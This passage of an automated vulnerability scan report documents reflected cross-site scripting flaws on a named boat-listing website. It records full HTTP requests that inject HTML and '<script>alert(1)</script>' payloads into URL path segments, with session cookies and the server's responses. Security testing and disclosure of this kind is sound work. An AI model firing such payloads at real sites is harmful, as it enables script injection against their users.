5%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:47 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8412"><a>1c31124826f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Regale8412"><a>1c31124826f/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:00 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd253"><script>alert(1)</script>d186c810a1f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Regal/1dd253"><script>alert(1)</script>d186c810a1f HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:08 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 559a7"><a>1435df8bb9e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type559a7"><a>1435df8bb9e/Regulator HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:26 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46502"><a>d9fa499e979 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Regulator46502"><a>d9fa499e979 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:34 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a625c"><script>alert(1)</script>2566fb9811d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/typea625c"><script>alert(1)</script>2566fb9811d/Rinker/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:50 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c24df"><a>03e5450caba was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
